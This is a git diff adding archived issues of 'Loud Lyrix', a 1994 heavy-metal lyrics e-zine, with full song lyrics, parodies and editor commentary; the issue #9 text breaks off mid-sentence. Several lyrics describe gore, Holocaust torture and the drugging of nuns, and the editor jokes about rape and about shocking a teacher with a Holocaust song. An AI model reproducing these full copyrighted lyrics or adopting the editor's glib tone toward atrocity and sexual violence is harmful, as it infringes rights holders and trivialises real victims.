+Typed by: Death Incarnate + +[Editor -- Ok dudes.. I hope you are getting the story.. Madeleine is the +little girl from the last Chapter who killed the other little girl with the +necklace.. that event has haunted her.. and she goes to a convent to escape +herself.. but the priest is a nut case, he rapes the sisters at communion, +then the Eye appears and she unconsciously puts it on and kills the Priest +when he looks at it... and the sisters rejoice... but the joy is +premature.... hahahahaha.. until the next chapter dudes... goodbye!] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************* S O B E R ********************************* + by T O O L + Album: "Undertow" + + +There's a shadow just behind me. Shrouding every step I take. +Making every promise empty. Pointing every finger at me. +Waiting like a stalking butler, who upon the finger rests. +Murder now the path of must we, just because the son has come. + +Jesus, won't you fucking whistle. Something but the past and time? + +Why can't we not be sober? I just want to start this over. +Why can't we drink forever? I just want to start this over. + +I am just a worthless liar. I am just an imbecile. +I will only complicate you. Trust in me and fall as well. +I will find a center in you. I will chew it up and leave. +I will work to elevate you, just enough to bring you down. + +Mother Mary, won't you whisper. Something but the past and time? + +Why can't we not be sober? I just want to start this over. +Why can't we sleep forever? I just want to start this over. + +I am just a worthless liar. I am just an imbecile. +I will only complicate you. Trust in me and fall as well. +I will find a center in you. I will chew it up and leave. +Trust me... + +Why can't we not be sober. I just want to start things over. +Why can't we sleep forever. I just want to start this over. + +I want what I want... + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- This song is one of my all time favorite songs. I love the way +it talks about the Holocaust, and Joseph Mengele is particular, who is of +course, "The Angel of Death". I remember, once in English class, we were +supposed to right a poem about the Holocaust, and I thought... SHIT! If I +could just remember the words, I'd write down Angel of Death. Too bad, I +would've liked to see the shock of my teacher when I recited it to the +class out loud! Muuuhahahaha] + +********************** A N G E L O F D E A T H ************************ + by S L A Y E R + Album: "Reign in Blood" + + +Auschwitz, the meaning of pain +The why that I want you to die +Slow death, immense decay +Showers that cleanse you of your life + Forced in + Like cattle + You run + Stripped of + Your life's worth + Human mice, for the Angel of Death + Four hundred thousand more to die + Angel of Death + Monarch to the kingdom of the dead +Sadistic, surgeon of demise +Sadist of the noblest blood + +Destroying, without mercy +To benefit the Aryan race + +Surgery, with no anesthesia +Fell the knife pierce you intensely +Inferior, no use to mankind +Strapped down screaming out to die + Angel of Death +Monarch to the kingdom of the dead +Infamous butcher, + Angel of Death + +Pumped with fluid, inside your brain +Pressure in your skull begins pushing through your eyes +Burning flesh, drips away +Test of heat burns your skin, your mind starts to boil +Frigid cold, cracks your limbs +How long can you last +In this frozen water burial? +Sewn together, joining heads +Just a matter of time +'Til you rip yourselves apart + Millions laid out in their + Crowded tombs + Sickening ways to achieve + The holocaust +Seas of blood, bury life +Smell your death as it burns +Deep inside of you +Abacinate, eyes that bleed +Praying for the end of +Your wide awake nightmare +Wings of pain, reach out for you +His face of death staring down, +Your blood running cold +Injecting cells, dying eyes +Feeding on the screams of +The mutants he's creating + Pathetic harmless victims + Left to die + Rancid Angel of Death + Flying free + + Angel of Death +Monarch to the kingdom of the dead +Infamous butcher, + Angel of Death + +Angel of Death! + +***************************** T H E E N D ******************************* +Typed By: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- I LOVE putting in White Zombie songs just for the hell of it +once and awhile. They are one of the coolest bands around, but their words +are TOTALLY meaningless, and if you listened to the music, you probably +wouldn't really care, 'cause the words were picked to go with the groove +of the music... At least, that's what I think... hehehe.. enjoy!] + +***************************** T H R U S T ! ****************************** + by W H I T E Z O M B I E + Album: "La Sexorcisto: Devil Music Vol 1" + + +Thrust in deep there are no limitations +Wing shaped constellations everywhere now +Creep, babe, creep your life's like a suicide +And I said "I'm gonna ride it" +She don't care now, yeah! Maybe +The night ride gonna bleed, yeah! Maybe +This is what ch'all need! +Sink'n deep into your destination dig the demolition everywhere, now +Creep, babe, creep into your ring o' fire +Burned out on the wire +She don't care now, yeah! Maybe +The night ride gonna bleed, yeah! Maybe +This is what ch'all need! +Open the darkness an hour later to the minute (moment) +Move under the guilty she went deep into the corner +Snap dog city hypnotize and break the mercury +Rig test, oil inject freak hallucination +Shot through the backdoor +Buzz a whirling locomotion west straight to another +Through the sea of love, life on the line +Still in time, you will find "She has gone away" +Don't ask way, super sky +Live or die, "She has gone away." +Figure this, no more, sis-spanish kiss +"She has gone away." +Thrust into a diamond generation +Dexceleration everywhere +Up from hell a missile to the moon and zero to the 3 and 4 and 5 and +Yeah! Maybe +This is what y'all need! +How fast can you really move me come on, come on, come on, come on, yeah! +A ritual electro-nation, yow! + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- Wow! I seem to be commenting on every song.. oh well... this +song here shocked me the first time I heard it. I immediately took a +liking to it... it's so funny, and sick... true genius!] + +***************** I S A W Y O U R M O M M Y . . . ******************* + by S U I C I D A L T E N D E N C I E S + Album: "Suicide's An Alternative" + + +Yesterday, as I went out of the house +I saw a body lying down quiet as a mouse +Lying face down in the sewer +I got up closer and realized that I knew her +All her organs coming from her inside +Slashed up skin sliced up hide +Turned over and saw the tire tracks on her head +That's when I realized she was dead +I saw your mommy and your mommy's dead +I saw your mommy and your mommy's dead + +Twisted body chopped off feet +Her body was minced meat +Bugs crawling on her arms +She's dead, can't do no harm +Gnarled up legs, broken and bent +Her last breath has been spent +I wonder, how much would I pay +To get your mom killed in such a bloody way + +I saw your mommy and your mommy's dead +I watched her as she bled +Chewed off toes on her chopped off feet +I took a picture cuz I thought it looked neat +But the thing I liked seeing the best +Was the rodents using her hair as a nest +I saw your mommy and your mommy's dead +I saw your mommy and your mommy's dead + +Twisted body chopped off feet +Her body was minced meat +Bugs crawling on her arms +She's dead, can't do no harm +Gnarled up legs, broken and bent +Her last breath has been spent +I know, that she won't really be missed +But make it look good at her funeral +and giver her a little kiss + +I saw your mommy and your mommy's dead +I saw her lying in a pool of red +I think it's the greatest thing I'll ever see +Your dead mommy right in front of me +I'll always remember her lying dead on the floor +I hope she dies twenty times more +I saw your mommy and your mommy's dead +I saw your mommy and your mommy's dead + +Twisted body chopped off feet +Her body was minced meat +Bugs crawling on her arms +She's dead, can't do no harm +Gnarled up legs, broken and bent +Her last breath has been spent +I wonder, how much would I pay +To get your mom killed in such a bloody way + +***************************** T H E E N D ******************************* +Transcribed by: ThinLizzy + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Preface: I know I don't really share most of the tastes expressed by Loud +Lyrix, but I like to invade lists with my own perverse tastes whenever +possible :-). I happened to have the lyrics from an old X-ray Spex album +near my computer, and I think they're pretty funny and sharp. Besides, this +great late '70s band definitely was LOUD! -- Richard + +[Editor - just to let everyone know, we aren't as strict as you think about +posting ONLY heavy metal lyrics in Loud Lyrix, as long as you don't expect +us to print some pop or A/C songs, don't worry about the genre you send in, +as long as it's funny or makes a statement, I'll probably put it in, it's +always worth a shot to ask right?] + +***** T H E D A Y T H E W O R L D T U R N E D D A Y G L O ******* + by X - R A Y S P E X + Album: "Germ Free Adolescents" + + +I clambered over mounds and mounds +Of polystyrene foam +Then fell into a swimming pool +Filled with fairy snow + +[Chorus:] +And watched the world turn +Day-Glo you know you know +The world turned day-glo you know + +I wrenched the nylon curtains back +As far as they would go +Then peered through perspex window panes +At the acrylic road + +[Chorus] + +I drove my polypropylene car +On wheels of sponge +Then pulled into a Wimpy Bar +To have a rubber bun + +[Chorus] + +The X-rays were penetrating +Through the latex breeze +Synthetic fibre see-thru leaves +Fell from the rayon trees + +[Chorus] + +***************************** T H E E N D ******************************* +Typed By: Richard Singer + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +A note to the parody non-fans...the parodies I write are in no way meant to +make a mockery of Metallica or their songs. I respect the guys' work as +much as you. I just do it 'cause it's fun trying to come up with really +funny stuff, 'cause lots of people *do* like 'em, and 'cause if my spirits +are low, it helps lift 'em quite well! We're all here ta have some fuckin' +fun, RIGHT?!?! -- Crash + +[Editor -- Right on Crash! I personally bust a gut every time I read a one +of these parodies, and I hope you dudes out there like 'em too. Thanks to +Kain for sending them in almost every week... let's hope these guys don't +run out of ideas!] + +********************** P E E K A N D E N J O Y ************************ + by C R A S H + Album: "{None}" + + +Always alone, every Saturday night +Lookin' for *her* when her house is alight +>From his window, sees it without fail +All the looks on her face from her orgasmic wails! + +Fucking! Everywhere... + Crying! Pulling hair... + Coming! A thousand screams... + +Fucking! Everywhere... + Crying! Pulling hair... + COMING! A thousand screams!! + +Jerkin'! Peek and enjoy!! (4x) + +She's a sex machine, yeah that's her style... +But she's got a man who can go the last mile! +Tits they bounce, as she rides him quicker! +She starts to buck her hips, he swigs his liquor!! + +Fucking! Everywhere... + Crying! Pulling hair... + Coming! A thousand screams... + +Fucking! Everywhere... + Crying! Pulling hair... +CUMMING! A thousand screams!! + +Jerkin'! Peek and enjoy!! (4x) + +Her climax has died, and she's sprawled on the floor. +But *he's* just not fulfilled, he's always hungry for more! +Soon they're up again and building speed... +And he slows down his jerks, so he can follow her lead! + +Fucking! Everywhere + Crying! Pulling hair... + Coming! A thousand screams... + +Fucking! Everywhere... + Crying! Pulling hair... +CUMMING! A thousand screams!! + +Jerkin'! Peek and enjoy!! (4x) + +(End riffs) + +***************************** T H E E N D ******************************* +Typed by: Crash +Sent in by: Kain + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +This band is one of my all time favourites and this track one of the most +memorable for me - I used to sing it to myself after a break-up with a +long-term girlfriend when I was thinking of the "other guy" {grind teeth, +etc}. No, I never did manage to get him... -- John Breakwell + +**************** T H E F I R E S T I L L B U R N S ****************** + by T W I S T E D S I S T E R + Album: "Come Out And Play" + + +You thought it was gone +But the fire goes on +And I thought you knew me +I told you before +'Til I settle the score +That I'll never run free +I have enough pain and anger in my brain +To last many lifetimes +Yet still it grows, and the more that it shows +I won't have peace of mind + +The fire, the fire still burns +The fire, the fire still burns + +I have a dream +And as strange as it seems +There's no embers glowing +The fire's gone out +And there's no need to shout +'cause no angers showing +But it's not true, nothing I ever do +Seems to ease my fury +Get out of my way +I'm the hangman today +And the judge and jury + +The fire, the fire still burns +The fire, the fire still burns + +The fire, the fire still burns ((repeat a lot)) + +***************************** T H E E N D ******************************* +Typed by: John Breakwell + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Could you post the lyrics to The Exploited's "Punks Not Dead" please? -Chuck + +[Editor -- As I told Chuck, I looked, and looked, and I just couldn't find +that song in any of the lyrics archives that I frequent, so maybe one of +you dudes out there in readership land can help old Chucky out] + +****************************** S K U L L S ******************************** + by M I S F I T S + Album: "Walk Among Us" + + +Corpses all hang headless and limp +Bodies with no surprises +And the blood drains down like devil's rain +We'll bathe tonight... + +I want your skulls +I need your skulls + +Demon i am and face i peel +To see skin turned inside out cause +Gotta have you on my wall +Gotta have you on my wall cause + +I want your skulls +I need your skulls + +Collect the heads of little girls and put em on my wall +Hack the heads off little girls and put em on my wall + +I want your skulls +I need your skulls + +***************************** T H E E N D ******************************* +Typed by: Chuck + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok dudes.. that's a wrap to Loud Lyrix #8, hope you all enjoyed it, I +luckily had a little break from my "English Homework from Hell", so I made +sure you guys all had a good solid Loud Lyrix to make up for last week's +mediocre issue. + +But I have bad news yet.. next week, or the week after that, there MAY not +be a Loud Lyrix.. I hope that I will find some time to piece together +SOMETHING, but I can't guaranteed anything.. if I can, I will try and get +one out, but it might be a couple days late, so don't worry about it, I +thought it would be best to warn you all. + +Ok, that's it people... keep sending those submissions in, and in a couple +of weeks, as soon as May is over, I will be FREE! No more essays and shit, +and then we'll REALLY get this 'zine rocking! + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #8 + + + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-09 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-09 new file mode 100644 index 00000000..10d91f91 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-09 @@ -0,0 +1,659 @@ + + + | _ \ | | __ \ | \ \ / _ \ _ _\ \ / + | | | | | | | | \ / | | | \ / + | | | | | | | | | __ < | \ + _____\___/ \___/ ____/ _____|_| _| \_\___|_/\_\ + + + Loud Lyrix, May 17, 1994, Issue # 9 + + +Addresses (Send mail here for subscriptions) +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + +Loud Lyrix is posted weekly to the following newsgroups: + +alt.music +alt.zines +alt.etext +rec.mag +rec.music.misc +rec.music.reviews + +(BTW. The Editor does not have Usenet access, so all mail from Usenet +people should be send to one of the above addresses or else I will not see +it. Thank You.) + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #9, 5/17/94 +----------------------- + +Here we are again people, back again, like always. Whew! What a wonderful +and horrible week it's been. The best part about this week has been of +course the amazing win of the Toronto Maple Leafs to shut down the San +Jose Sharks, after being down 3 games to 2, and to come back and take it +all, what a feat! I went to see the last game at Skydome on the JumboTron. +Most of you American's should know that building, the home of the two time +World Series champion Toronto Blue Jays!! Anyways, it's now on to +Vancouver, it's gonna be a wicked series, not a fucking boring one like +the Sharks. Vancouver ain't a wimp team, and neither is the Leafs, so this +is gonna be mighty interesting. (Hope SOME of you people out there are +even remotely interested in hockey, it does RULE!) + +It now looks like I'm gonna be seeing The Scorpions on June 25. They are +playing at the Kingswood Music Theatre in Canada's Wonderland. It's only a +$12 show, should be pretty good. I'm still going to see the +Metallica/Suicidal/Danzig show, and the Pantera/Sepultura/Biohazard show. +Oh yeah, hehehehe... it looks like they are gonna be showing the Final +Star Trek Episode at the Skydome! I got my tickets, and I can't wait for +that. + +Well, I guess that what's new this week, and I had to write a friggin' +English essay comparing two plays. That was almost the end of me... +anyways, it's pretty lucky that I actually was able to get this issue of +Loud Lyrix out... praise the Lord people! + +Ok people, I think that more than a few you are probably bored to hell +right now. I'll be done soon. There were six reader submissions this week, +that's really good, thanks guys for the effort.... it looks like we are +gonna be getting hooked up with a listserv soon, I had another response +from a listserv in Colorado, and they wanted to see our ad. But I would +really rather get hooked up with the local one, but oh well, any one will +do.... I've added two more newsgroups to our list, rec.mag and alt.etext, +hopefully we won't be rejected by these guys, but who knows, I have get to +really do some looking for appropriate newsgroups, but don't despair, I +will as soon as this shit called school calms down! + +BTW This is for the guy that mailed "Fade To Black" to me, I +just wanna tell you that I checked the back issues, and it +seems that I printed that song in Issue #4, so I put in "For +Whom the Bells Tolls" instead, if you want ish #4, just mail +me ok? + +Ok people, that's it, I've kept you long enough... here's the lyrix, and a +little background info on a Norwegian band called Darkthrone, thanks for +listening, l8r! + +CONTENTS +-------- +Song 1: "Father Picard" ("The Eye", Chapter 6) by King Diamond +Song 2: "For Whom The Bell Tolls" by Metallica +Song 3: "The Ballad of the Bobbit Hillbillies" by {Unknown} +Song 4: "Under a Funeral Moon" by Dark Throne +Song 5: "Without Fear" by Sabaoth +Song 6: "Warning" by Black Sabbath +Song 7: "Loser" by Beck +Song 8: "Clones" by Alice Cooper +Song 9: "Turbo Lover" by Judas Priest +Song 10: "Under Siege (Regnum Irae)" by Sepultura + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 6, "The Eye", by King Diamond + +********************** F A T H E R P I C A R D ************************** + + +A new chaplain has arrived +Madeleine and a few other nuns +At the convent will meet him tonight + +Father Picard: +"Welcome to My quarters, do come inside +Welcome dearest sisters, come into the light!" + +"I'm Father Picard, I'm taking over +Things will be different here +You are the four GOD has chosen +To be his angels in white +Drink my sweet Holy Wine!!" + +"Oh yeah come on it's not a crime +>From now on every Sunday this time +You will attend this communion of mine" + +Father Picard is hiding something +A white powder for the wine + +Father Picard: +"I'm Father Picard, I'm taking over +Things will be different here +You are the four GOD has chosen +To be his angels in white +Drink my sweet Holy Wine!!" + +The nuns freak out, lust in their eyes +>From now on every Sunday this time +Father Picard's in control of their minds + +Father Picard was hiding something +The white powder in the wine + +********************* T O B E C O N T I N U E D *********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********** F O R W H O M T H E B E L L T O L L S ***************** + by M E T A L L I C A + Album: "Ride The Lightning" + + +Make his fight on the hill in the early day +Constant chill deep inside +Shouting gun, on they run through the endless grey +On the fight, for they are right, yes, by who's to say? +For a hill men would kill, why? They do not know +Suffered wounds test there their pride +Men of five, still alive through the raging glow +Gone insane from the pain that they surely know +chorus: + For whom the bell tolls + Time marches on + For whom the bell tolls + +Take a look to the sky just before you die +It is the last time you will +Blackened roar massive roar fills the crumbling sky +Shattered goal fills his soul with a ruthless cry +Stranger now, are his eyes, to this mystery +He hears the silence so loud +Crack of dawn, all is gone except the will to be +Now the will see what will be, blinded eyes to see +chorus: + +***************************** T H E E N D ******************************* +Typed By: Gregory Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Yes, yes, I know the whole Bobbitt saga has grown rather - flaccid, but the +creativity of The People knows no bounds. An nth generation photocopy has +just come to my attention. And here it is -- Tom Wood + +****************** THE BALLAD OF THE BOBBIT HILLBILLIES ******************* + by {Unknown} + Album: {None} + + +[sung to the tune of -- oh you know] + +Come listen to a story 'bout a man named John +A poor ex-marine with a little fraction gone. +It seems one night after gettin' with the wife, +She lopped off his schlong with a swipe of a knife. +(Penis, that is.) +(Rodeoed, fillet-load) + +Well, the next thing you know there's a ginsu by his side, +And Lorena's in the car takin' Willie for a ride. +She soon got tired of her purple-headed friend, +And tossed him out the window as she rounded a bend. +(Curve, that is.) + (Pricker shrubs, wheel hubs) + + She went to the cops and confessed to the attack, + And they called out the hounds just to get his weenie back. + They sniffed and they barked, and they pointed "over there," + To John Wayne's Henry that was wavin' in the air. + (Found, that is.) + (By a fence; evidence) + + Now Peter and John couldn't stay apart too long, + So a dick doctor said "Hey! I can fix your dong." + "A needle and a thread are the things you're gonna need," + Then the world held its breath til they heard that Johnny peed. + (Whizzed, that is.) + (Stitched seam, straight seam) + + Well, he healed and he hardened and he took his case to court, + With a cock-eyed lawyer since his assets came up short. + They cleared her of assault and acquitted him of rape, + And his pecker was the only one they didn't show on tape. + (Video, that is.) + (Unexposed, case closed.) + +***************************** T H E E N D ******************************* +Typed by: Tom Wood +Sent in by: Sartre + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************** U N D E R A F U N E R A L M O O N ****************** + by D A R K T H R O N E + Album: "Under a Funeral Moon" + + +When the Sun has Died +When the Angels are Blind +When the Fog Lies Thick +Over the Palace of god + +When the Full Moon Lights the Earth +When the Wolves Gather in the Open +When Blood rains from Heaven High +And from the pearly Gates + +When Jehovas Hordes are Slaughtered +When Disciples Twelve are Dead +When Beliefs of Easter Lands +Are Raped and Raped again + +When the Whore of Babylon Rides +When Pity turns to Hate +When All Sons of Satan +Sodomize the Lambs of christ + +When the Gates have all been opened +When the Funerals Never End +When Satans Powers Paint our Hearts +And Satisfies our Souls + +When Witches Burn the Priests +When the Ancient Ones Return +When the Demons Ride the Nuns +With their Horns of Dark Desire + +***************************** T H E E N D ******************************* +Typed by: Hellcrusher + +[Here's a little background info on Darkthrone from our good Norwegian +friend Hellcrusher, it's a bit long, but interesting anyways, hope ya like +it. -- Editor] + + This band, Darkthrone, is the band who actually started this Black-Metal +wave in Norway. It seems like when they appeared folks were pretty pissed +off with that Sweden/Florida Death Metal sound. O.K. so Entombed and +Obituary were great bands, but everyone copied them, so the whole thing +became boring. I myself when I heard "A Blaze In the Northern Sky" the +first time were quite shocked over this amazing music. It had alot more +intensity than ordinary Death Metal. It reminded me of the old days with +Celtic Frost and Bathory(great swedes!!). Well about the band. Darkthrone +hasn't done alot of interviews like "The Count" has. That seems like a +smart thing though... + + Darkthrone actually started out as a Death Metal band. They were known as +quite good around here. They gave out the album "Soulside Journey". +Darkthrone became a popular DM-band, but suddenly they did a change in +their style. They started to use corpsepaint, and when Morbid Angel wanted +them to warm up for them at a gig in Norway, Darkthrone told them to "Fuck +off". This was due to a religious conflict. It then seemed weird to me, but +now I know better... + + Morbid Angel were members of the Satanic Church in California, under the +lead of Anton Szandor LaVey. All true(?) Norwegian satanists regards LaVey +as a humanist. Darkthrone & Co in Norway meant that only TRUE evil were +satanic. I can in fact agree with that (even though I'm not evil either). +This Satanic Bible of LaVey seemed to me like some kind of right-wing info. + + Anyway, Darkthrone has refused to go on a tour "until 50 per cent of the +now touring bands stops". They have also said that they will only give out +three albums. The albums are "A Blaze in the Northern Sky", "Under A +Funeral Moon" and "Transylvanian Hunger". They also regard the before +mentioned "Soulside Journey" as a "non-Darkthrone" record. During this +"Burzum case" in Norway, Darkthrone has held a low profile. The only thing +that was written about them, was about their drummer and songwriter Fenriz. +He was known as "the satan-poet who worked in the post". Darkthrone are in +fact so shy that they for a long time didn't answer any requests from their +record-company, Peaceville!! How many bands can do such a thing to their +record-company?? + +Well I think this is what I have about Darkthrone. The only thing we await +from Darkthrone is their third and last album: "Transylvanian Hunger" +Drummer Fenriz also have his project "Isengaard" going. It will be +interesting to see how thing turns out for him. -- Hellcrusher + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ W I T H O U T F E A R ************************** + by S A B A O T H + Album: "Without Fear" + + +Knowledge was gained, the tears were restrained +The time is coming for a whole new life +The change is made, I am afraid +I am afraid of this life that may be. +Everyday life is no longer simple +A walk through the park with a saddened whistle +The temperature outside is incredibly hot +I]'ve got to get inside before I cannot +The change is made, what have I done +What have I done to deserve this torment. +Some days the legs do not stand, others +no sight or use of hands. +The question I often ponder, did I bring this on myself? +The change is made, what do I do +What do I do to endure this condemnation. +Still able to play bass and not knowing why +Waiting to know who is worthy to know who to glorify +Getting reborn through Jesus into my life +Making me realize just why I am alive. +God holds the key that will set me free +Spreading the Word through music is for me +Controls all maintaining the truth always beside me + with every move. +The change is made, I'm no longer afraid +I'm no longer afraid of this life that may be. + +***************************** T H E E N D ******************************* +Typed by: Phil Powell + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +I think it's totally cool to have a place to post great metal lyrix. I am +sorry to say that sometimes metal lyrix are a total disgrace, on the +kindergarten level, specially with glam bands... OK, here is an absolutely +totally cool Sabbath song from 1969 -- Shimon Godes + +***************************** W A R N I N G ******************************* + by B L A C K S A B B A T H + Album: "Black Sabbath" + + +Now the first day that I met ya +I was looking in the sky +When the sun turned all a blur +and the thunderclouds rolled by +The sea began to shiver +and the wind began to moan +It must've been a sign for me +to leave you well alone +I was born without you, baby +but my feelings were a little bit too strong + +you never said you love me +and I don't believe you can +'cause I saw you in a dream +and you were with another man +You looked so cool and casual +and I tried to look the same +But now I've got to know ya +tell me who am I to blame? +I was born without you, baby +but my feelings were a little bit too strong + +Now the whole wide world is movin' +'cause there's iron in my heart +I just can't keep from cryin' +'cause you say we've got to part +Sorrow grips my voice as I stand here all alone +And watch you slowly take away +a love I've never known +I was born without you, baby +but my feelings were a little bit too strong + +***************************** T H E E N D ******************************* +Typed by: Shimon Godes + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok, so it's not heavy metal, but really, gino, beck is soooooo bizarre and +sooo cool, ya gotta love these lyrics.....and seems prophetic too, or else +he's potentially gonna off himself.....gino, "soy un perdedor" means "i'm a +loser" in spanish, according to a buncha people...... -- Mary Terry + +******************************* L O S E R ********************************* + by B E C K + Album: "Mellow Gold" + + +In the time of chimpanzees I was a monkey/ Butane in my veins, and I'm out to +cut the junkie/ With the plastic eyeballs/ Spraypaint the vegetables/ Dog +food skulls/ With the beefcake pantyhose/ Kill the headlights and put it in +neutral/ Stock car flamin with the loser on the cruise control/ Baby's in +Reno with the vitamin T/ Got a couple of couches/ Sleep on the love seat/ +Someone keeps sayin' I'm insane to complain about a shotgun wedding and a +stain on my shirt/ Don't believe every thing that you breathe/ You'll get a +parking violation and a maggot on your sleeve/ So shave your face with some +mace in the dark/ Savin' all your food stamps/ We're burnin' down the trailer +park/ Yo...... cut it + +Soy un perdedor/I'm a loser baby/ So why don't you kill me + +......doublebarrelled buckshot........ + +Soy un perdedor/I'm a loser baby/ So why don't you kill me + +Forces of evil/ in a bozo nightmare/ Bent all the music with a phony gas +chamber/ Cuz one's got a weazel and the other's got a flag/ One's on the pole +shove the other in a bag/ With the rerun shows and the cocaine nose job/ The +daytime crap of the folksinger slob/ He hung himself with a guitar string/ A +slab of turkey neck and it's hangin' from a pigeon wing/ Ya can't write if +you can't relate/ Trade the cash for the beef for the body for the hate/ And +my time is a piece of wax/ Fallin' on a termite/ It's chokin' on the +splinters + +soy un perdedor/ I'm a loser baby so why don't you kill me + +Get crazy with the cheese whiz... + +Soy un perdedor/I'm a loser baby/ So why don't you kill me + +driveby body pierce....yo, bring it on down....i'm a driver, i'm the +winner, +things are gonna change, i can feel it... + +soy un perdedor/i'm a loser baby so why don't you kill me + +i can't believe you..... + +soy un perdedor/i'm a loser baby/ so why don't you kill me +Soy un perdedor/I'm a loser baby/ So why don't you kill me + +sprechen sie deutch, see baby... + +Soy un perdedor/I'm a loser baby/ So why don't you kill me + +ya hear what i'm saying? + +***************************** T H E E N D ******************************* +Typed by: Mary Terry + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +I thought I might include a couple of lines after you stated that this is +not for just "heavy" metal. I hope this one will turn some 'bangers on to +some new stuff. -- Jason Landsbach + +[Well, yes, that's true, this issue has quite a few non-metal songs, but I +thought I was gonna get some Industrial or Punk band, instead I get Alice +Cooper! C'mon man Jason, how can you say Coop. ain't metal?! I definitely +think so - Editor] + +****************************** C L O N E S ******************************** + by A L I C E C O O P E R + Album: "Flush the Fashion" + + +I'm a clone +I know it and I'm fine +I'm one and more are on the way +I'm two, doctor +Three's on the line +He'll take incubation another day + +I'm all alone so are we all +We're all clones +All are one and one are all +All are one and one are all + +We destroy the government +We're destroying time +I'm one and more are on the way +I'm through, doctor +We don't need your kind +The ugly ones +Lonely ones +Stupid boys +Wrong ones + +I'm all alone so are we all +We're all clones +All are one and one are all +All are one and one are all + +Six is having problems adjusting to his clone status +We have to put him on the shelf +(Please don't put me on the shelf) +All day long we hear him crying so loud +I just wanna be myself +Be myself +Be myself + +I'm all alone so are we all +We're all clones +All are one and one are all +All are one and one are all + +***************************** T H E E N D ******************************* +Typed by: Jason Landsbach + +Finally! Another Twisted Sister fan!!! Do you have any copies of their +concerts and/or videos. Any info will be appreciated. -- Jason L. Landsbach + +[Yes man, I've been a fan since about Grade Three, that's when their 